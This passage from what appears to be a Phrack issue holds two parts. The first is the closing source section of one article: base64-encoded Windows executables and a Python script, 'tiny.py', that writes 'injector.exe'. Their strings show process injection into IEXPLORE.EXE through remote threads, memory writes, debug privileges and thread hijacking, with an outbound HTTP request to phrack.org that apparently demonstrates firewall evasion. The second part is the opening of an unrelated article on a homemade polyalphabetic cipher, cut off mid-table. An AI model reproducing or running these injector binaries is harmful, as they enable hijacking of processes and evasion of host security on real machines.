AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y
IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ
pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH
RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA
AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD
VfyLFBADVfyJVfA70XUD/0X0WIH7kFXJmXW1i1UIgcILAAAAUv91/P9V8IP4AA+EBwIAAI
lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP
AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA
CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E
ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/
gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/
VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv
912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4
/w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG
K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5
WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuEAAAADrBbgAAAAAUI
N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo
IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y
UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA
AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA
ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA
LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE
NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv
AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2
VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds
ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3
NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd
AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh
aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")
```

```
############################### tiny.py ###############################

from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T
14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAAAA4AAPAQsB
BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA
AAAEAAAAAEAAAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAAbCAA
ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC
5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA
MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA
AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF
HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+
///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP
7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o
OAsAAIP4AA+EkAAAAOvNjYW8/v//UP+1uP7//+g/CwAAuwAAAACLlcj+//87leD+//90GY
2FvP7//1D/tbj+///oIAsAAIP4AHRS69mLVQiLheD+//+JQgiLhcT+//+JQgxS/7Xg/v//
agBo/w8fAOi1CgAAg/gAdCOL2P+1xP7//2oAaP8DHwDoogoAAIP4AHQKWokaiUIEagHrAm
oAg724/v//AHQL/7W4/v//6FMKAABYycIEAFWL7IPEsOk7BQAAR2V0TW9kdWxlSGFuZGxl
QQBMb2FkTGlicmFyeUEARnJlZUxpYnJhcnkAT3BlbkV2ZW50QQBDbG9zZUhhbmRsZQBTZX
RFdmVudABUSU5ZMABVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJvcgBXU0FH
ZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc29ja2V0AG
Nvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9yIFNldFVw
IGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQpIb3N0Oi
B3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzHRfAAAAAA
x0X0AAAAAMdFxAAAAADHRcwAAAAAx0XgAAAAAANAPItAeANF/IlF+ItAIANF/IsIA038uA
AAAADrAUC7AAAAAIvTweMFweobC9q6AAAAAIoRA9pBihGD+gB15VArRfRrwARBi1X4i1Ic
A1X8ixQQA1X8iVXwO9F1A/9F9FiB+5BVyZl1tYtVCIHCCwAAAFL/dfz/VfCD+AAPhFgCAA
CJReyLVQiBwhwAAABS/3X8/1Xwg/gAD4Q8AgAAiUXoi1UIgcIpAAAAUv91/P9V8IP4AA+E
IAIAAIlF5ItVCIHCNQAAAFL/dfz/VfCD+AAPhAQCAACJReCLVQiBwkAAAABS/3X8/1Xwg/
gAD4ToAQAAiUXci1UIgcJMAAAAUv91/P9V8IP4AA+EzAEAAIlF2ItVCIHCWwAAAFL/VeyD
+AAPhLMBAACJRdCLVQiBwo8AAABS/1Xog/gAD4SaAQAAiUXMi1UIgcJmAAAAUv910P9V8I
P4AA+EfgEAAIlF1ItVCIHCmgAAAFL/dcz/VfCD+AAPhGIBAACJRciLVQiBwqUAAABS/3XM
/1Xwg/gAD4RGAQAAiUXEi1UIgcKwAAAAUv91zP9V8IP4AA+EKgEAAIlFwItVCIHCtwAAAF
L/dcz/VfCD+AAPhA4BAACJRbyLVQiBwr8AAABS/3XM/1Xwg/gAD4TyAAAAiUW4i1UIgcLE
AAAAUv91zP9V8IP4AA+E1gAAAIlFtItVCIHCyQAAAFL/dcz/VfCD+AAPhLoAAACJRbCLVQ
iBwtUAAABSagL/VciD+AAPhZ8AAABqAGoBagL/VcCD+P8PhI0AAACL2GoQi1UIgcJjAgAA
UlP/VbyD+P90dmoAaiiLVQiBwq8CAABSU/9VuIP4/3RfuQAAAACLVQiBwu0CAAAD0VJRag
BqAVJT/1W0WVo8AXUZg/kCeAuKAjpC/nUEPAp0CUGB+VgCAAB1y1P/VbBqQItVCIHC2AIA
AFKLVQiBwu0CAABSagD/VdTrAGoB6wJqAFCDfcQAdDj/VcSDfcwAdC//dcz/VeSDfeAAdC
OLVQiBwlUAAABSagBoAwAfAP9V4IP4AHQKi9hT/1XYU/9V3FjJwgQAVYvsgcQY/f//x0Xw
```

```
AAAAAMdF9AAAAABoHjBAAGoAagFqAOiCAQAAg/gAD4RmAQAAoyQwQACNRfBQ6O/1//+D+A
APhE8BAAD/dfToogEAAIP4/w+EIgEAAIP4AHQN/3X06HoBAACD+AF188eFJP3//wEAAQCN
hST9//9Q/3X06D4BAACD+AAPhOYAAABqQGgAEAAAaE8JAABqAP918OhnAQAAg/gAD4THAA
AAiYUY/f//i9iDwBOjKzBAAIuF3P3//4vTg8IOK8KD6AWjNzBAAGoAahNoKDBAAFP/dfDo
OQEAAIP4AHRzg8MTagBoPAkAAGikEUAAU/918OgcAQAAg/gAdFaLlRj9//+Jldz9//+NhS
T9//9Q/3X06MYAAACD+AB0Nv919OizAAAAg/j/dCloYOoAAP81JDBAAOjUAAAAg/gAdApq
Af919OinAAAAaOgDAADokQAAAGgAgAAAaE8JAAD/tRj9////dfDonQAAAP919OhlAAAAg3
30AHQI/3X06BsAAACDffAAdAj/dfDoDQAAAP81JDBAAOgCAAAAycP/JWAgQAD/JTAgQAD/
JVggQAD/JTQgQAD/JRwgQAD/JRAgQAD/JRQgQAD/JRggQAD/JSAgQAD/JSQgQAD/JSggQA
D/JSwgQAD/JVwgQAD/JWQgQAD/JTggQAD/JTwgQAD/JUAgQAD/JUQgQAD/JUggQAD/JUwg
QAD/JVAgQAD/JVQgQAD/JQggQAD/JQQgQAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA
AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC
AiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAAAAuCAAAAAAAAAA
AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC
IAALAiAACYIgAAAAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4h
AAD+IQAAECIAACAiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAA
AAGgBDbG9zZUhhbmRsZQAtAENyZWF0ZUV2ZW50QQAASQBDcmVhdGVUb29saGVscDMyU25h
cHNob3QAAIAARXhpdFByb2Nlc3MA2wBHZXRDdXJyZW50UHJvY2VzcwBMAUdldFRocmVhZE
NvbnRleHQAANEBT3BlblByb2Nlc3MA1AFPcGVuVGhyZWFkAADeAVByb2Nlc3MzMkZpcnN0
AADgAVByb2Nlc3MzMk5leHQABwJSZXN1bWVUaHJlYWQAAE8CU2V0VGhyZWFkQ29udGV4dA
AAYAJTbGVlcABiAlN1c3BlbmRUaHJlYWQAaQJUZXJtaW5hdGVUaHJlYWQAagJUaHJlYWQz
MkZpcnN0AGsCVGhyZWFkMzJOZXh0AACCAlZpcnR1YWxBbGxvY0V4AACEAlZpcnR1YWxGcm
VlRXgAjwJXYWl0Rm9yU2luZ2xlT2JqZWN0AKcCV3JpdGVQcm9jZXNzTWVtb3J5AAC5Amxz
dHJjbXBpQQBrZXJuZWwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABQBTG9va3
VwUHJpdmlsZWdlVmFsdWVBAGMBT3BlblByb2Nlc3NUb2tlbgAAYWR2YXBpMzIuZGxsAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAElFWFBMT1JFLkVYRQBTZURlYnVnUHJpdmlsZWdlAFRJTlkwAAAA
AABgnGgAAAAA6AcAAACdYekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA""")
```

```
|=[ EOF ]=---------------------------------------------------------------=|
                              ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x0e of 0x10


|=---------=[ A Dynamic Polyalphabetic Substitution Cipher ]=------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ Veins <veins at tristeza.org> ]=--------------------=|
```

1 - Introduction
  1.1 - First of all, a reminder. What is polyalphabetic substitution ?
  1.2 - Weaknesses in polyalphabetic substitution

2 - IMPLEMENTATION OF DPA-128
  2.1 - DPA-128 used as a one way hash function
  2.2 - DPA-128 used as PRNG

3 - Acknowledgment

4 - References

5 - Source Code

--[1 - Introduction

In Phrack #51, mythrandir discussed the cryptanalysis of monoalphabetic ciphers and basic substitutions and transpositions. This paper discusses a different substitution known as 'polyalphabetic substitution' and how some mechanisms can be implanted to take advantage of its characteristics. This document will then focus on 'dynamic polyalphabetic substitution' which is an evolution of polyalphabetic substitution with key-dependant s-tables.

A "functional-but-still-work-in-progress" cipher will be presented. It is a 128-bits secret-key block cipher that uses polyalphabetic s-tables which are highly dependant of the key. The cipher, DPA-128, consists in a simple function that makes 3 operations on the block. It is not a Feistel network but still respects Shannon's principles of diffusion and confusion. It has only been reviewed by a few people, so I strongly discourage its use as it has not proven anything yet. However, if you use it and have any comments, I'd be glad to hear from you, but remember, do not encrypt sensitive stuff cause someone will probably come, break the cipher and go spreading all of your secrets on IRC ;)

Finally, just to clarify a few things. I use the acronym DPA (for "dynamic polyalphabetic algorithms") in this document to refer to key dependancy in polyalphabetic substitution. I've seen people using the term "dynamic" for ciphers that used polyalphabetic substitution in a mode that uses a pseudo random vector (CBC for example). While I'll keep using the acronym, assume that key-dependant substitution works in total abstraction of the mode and DPA-128 has an implementation of both ECB and CBC modes as I'm writing. Also, while I have not seen a dynamic polyalphabetic cipher implementation it does not mean that all of the ideas in this paper are new. DES had some variants that performed key-dependant substitutions by exchanging lines of s-tables, and several ciphers use one-way hash functions for subkeys.

----[1.1 - First of all, a reminder. What is polyalphabetic substitution ?

Polyalphabetic substitution is an hybrid between transposition and substitution.

Transposition consists in reordering the characters in the plaintext to produce the cipher:

Assume my secret message is:

```
          THIS IS MY SECRET MESSAGE DONT READ IT, ARAM SUCKS
```

After transposing it in a 8 columns table, it becomes:

```
          T H I S I S M Y
          S E C R E T M E
          S S A G E D O N
          T R E A D I T A
          R A M S U C K S
```

The cipher is produced by reading the columns instead of the lines:

```
           TSSTR HESRA ICAEM SRGAS IEEDU STDIC MMOTK YENAS
```

While substitution consists in interchanging the characters in the
plaintext to produce the cipher:

Assume my secret message is:

```
          THIS IS ANOTHER ATTEMPT TO PRESERVE MY PRIVACY
```

Substitution alphabet is a simple rearrangement:

```
             A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
             Y Z W X U V S T Q R O P K L M N I J G H E F C D A B
```

The cipher is produced by replacing the letter in plaintext by the new
letter in the rearranged alphabet:

```
          HTQG QG YLMHTUJ YHHUKNH HM NJUGUJFU KA NJQFYWA
```

Note that both these methods do not even require a key, the parties that
wish to share the secret, have to share the "protocol" which is the
number of columns for the transposition, or the rearranged alphabet for
the substitution. In practice, there are methods to use keys with both
substitution and transposition but in the end, both are insecure with or
without a key. I won't go through the description of how you can break
these, the methods were described in phrack #51 if I recall correctly
and they are so simple that some tv magazines use these on their game
pages.

Now let's get back to polyalphabetic substitution.
A transposed substitution table looks like this more or less:

```
    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
    B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
    C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
    D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
    E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
    F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
    G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
    H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
    I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
    J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
    K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
    L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
    M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
    N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
    O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
    P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
    Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
    R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
    S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
    T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
    U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
    V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
    W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
    X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
    Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
